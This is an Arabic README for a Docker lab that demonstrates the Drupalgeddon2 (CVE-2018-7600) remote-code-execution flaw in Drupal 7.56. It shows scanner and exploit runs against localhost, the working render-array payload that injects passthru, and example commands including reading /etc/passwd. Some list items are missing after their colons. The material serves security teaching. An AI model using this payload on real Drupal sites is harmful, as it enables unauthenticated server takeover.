مختبر تعليمي يوضح ثغرة CVE-2018-7600 (Drupalgeddon2) لتنفيذ الأكواد عن بُعد باستخدام بيئة دروبال 7.56 الضعيفة المبنية على Docker.
مختبر تعليمي يوضح استغلال ثغرة CVE-2018-7600 (Drupalgeddon2) باستخدام بيئة دروبال 7.56 ضعيفة تم إعدادها باستخدام Docker.
يحاكي هذا المشروع سير عمل تقييم الثغرات الواقعي، بما في ذلك:
ثغرة CVE-2018-7600 (Drupalgeddon2) هي ثغرة حرجة من نوع تنفيذ الأوامر عن بُعد (RCE) في نظام إدارة المحتوى دروبال.
توجد المشكلة في واجهة Form API في دروبال، حيث يمكن تفسير المدخلات التي يتحكم بها المستخدم كمصفوفات عرض (render arrays)، مما يسمح للمهاجمين بحقن استدعاءات خبيثة مثل:
يؤدي ذلك إلى تنفيذ أوامر على الخادم دون مصادقة.
المهاجم (Kali Linux)
|
| طلبات HTTP
v
دروبال 7.56 (ضعيف)
|
v
قاعدة بيانات MySQL
cve-2018-7600-drupalgeddon2-lab
│
├── README.md
├── setup.md
├── scan.py
├── exploit.py
│
├── lab-setup/
│ └── docker-compose.yml
│
├── screenshots/
│ ├── drupal-dashboard.png
│ ├── drupal-version.png
│ └── rce-output.png
│
├── logs/
│ ├── scan_results.txt
│ └── exploit_log.txt
│
├── payloads/
│ └── payload-list.txt
│
├── report/
│ └── drupalgeddon2-report.pdf


git clone https://github.com/Meraj1312/cve-2018-7600-drupalgeddon2-lab.git
cd cve-2018-7600-drupalgeddon2-lab
docker compose up -d
http://localhost:8080
python3 scan.py http://localhost:8080
مثال على المخرجات:
[~] Scanning http://localhost:8080... VULNERABLE
python3 exploit.py http://localhost:8080 id
مثال على المخرجات:
uid=33(www-data) gid=33(www-data)
الهيكل الأساسي للحمولة المستخدمة:
name[#post_render][]=passthru
name[#type]=markup
name[#markup]=whoami
أوامر مثال:
whoami
id
cat /etc/passwd
قائمة الحمولات الكاملة متوفرة في:
payloads/payload-list.txt
للحفاظ على هيكل مستودع نظيف واحترافي:
يضمن هذا الفصل:
هذا المختبر مخصص لـ:
هذا المشروع مخصص للأغراض التعليمية والبحثية فقط.
لا تحاول استغلال الأنظمة دون الحصول على إذن صريح.
المؤلفون غير مسؤولين عن أي استخدام سيء.